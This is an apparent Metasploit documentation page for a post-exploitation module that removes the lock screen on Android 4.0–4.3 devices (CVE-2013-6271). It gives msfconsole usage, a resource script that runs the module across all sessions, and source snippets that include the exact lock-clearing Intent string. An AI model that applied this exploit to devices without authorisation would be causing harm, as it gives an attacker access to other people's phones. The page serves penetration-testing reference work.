Android Settings Remove Device Locks (4.0-4.3) - Metasploit
This page contains detailed information about how to use the post/android/manage/remove_lock metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android Settings Remove Device Locks (4.0-4.3)
Module: post/android/manage/remove_lock
Source code: modules/post/android/manage/remove_lock.rb
Disclosure date: 2013-10-11
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-6271
This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class. Any unprivileged app can exploit this vulnerability to remove the lockscreen. A logic flaw / design error exists in the settings application that allows an Intent from any application to clear the screen lock. The user may see that the Settings application has crashed, and the phone can then be unlocked by a swipe. This vulnerability was patched in Android 4.4.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/android/manage/remove_lock
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/android/manage/remove_lock
msf post(remove_lock) > show options
... show and set options ...
msf post(remove_lock) > set SESSION session-id
msf post(remove_lock) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/android/manage/remove_lock")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the android/manage/remove_lock post exploitation module looks in the msfconsole:
msf6 > use post/android/manage/remove_lock
msf6 post(android/manage/remove_lock) > show info
Name: Android Settings Remove Device Locks (4.0-4.3)
Module: post/android/manage/remove_lock
Platform: Android
Arch:
Rank: Normal
Disclosed: 2013-10-11
Provided by:
CureSec
timwr
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module exploits a bug in the Android 4.0 to 4.3
com.android.settings.ChooseLockGeneric class. Any unprivileged app
can exploit this vulnerability to remove the lockscreen. A logic
flaw / design error exists in the settings application that allows
an Intent from any application to clear the screen lock. The user
may see that the Settings application has crashed, and the phone can
then be unlocked by a swipe. This vulnerability was patched in
Android 4.4.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-6271
http://blog.curesec.com/article/blog/26.html
http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf
Module Options
This is a complete list of options available in the android/manage/remove_lock post exploitation module:
msf6 post(android/manage/remove_lock) > show options
Module options (post/android/manage/remove_lock):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the android/manage/remove_lock post exploitation module:
msf6 post(android/manage/remove_lock) > show advanced
Module advanced options (post/android/manage/remove_lock):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the android/manage/remove_lock module can do:
msf6 post(android/manage/remove_lock) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the android/manage/remove_lock post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(android/manage/remove_lock) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to retrieve build.prop, you might need to try again.
Here is a relevant code snippet related to the "Failed to retrieve build.prop, you might need to try again." error message:
52: build_prop = get_build_prop
53:
54: # Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns
55: # empty.
56: if build_prop.empty?
57: fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.')
58: end
59:
60: android_version = Rex::Version.new(build_prop['ro.build.version.release'])
61: if android_version <= Rex::Version.new('4.3') && android_version >= Rex::Version.new('4.0')
62: return true
This module is only compatible with Android versions 4.0 to 4.3
Here is a relevant code snippet related to the "This module is only compatible with Android versions 4.0 to 4.3" error message:
65: false
66: end
67:
68: def run
69: unless is_version_compat?
70: print_error("This module is only compatible with Android versions 4.0 to 4.3")
71: return
72: end
73:
74: result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
75: if result.nil?
The Intent could not be started: <RESULT>
Here is a relevant code snippet related to the "The Intent could not be started: <RESULT>" error message:
72: end
73:
74: result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
75: if result.nil?
76: print_good("Intent started, the lock screen should now be a dud.")
77: print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
78: else
79: print_error("The Intent could not be started: #{result}")
80: end
81: end
82: end
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6571 Merged Pull Request: fix Android remove_lock to work with 4.3 devices
- #5937 Merged Pull Request: Use Msf::Post::Android::System#get_build_prop to get the android version
- #5931 Merged Pull Request: Update Android Device Lock module titles
- #5380 Merged Pull Request: PageantJacker (POST Module)
- #5416 Merged Pull Request: Add Android 4.x remove lockscreen (without root)
References
- CVE-2013-6271
- http://blog.curesec.com/article/blog/26.html
- http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf
See Also
Check also the following modules related to this module:
Authors
- CureSec
- timwr
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.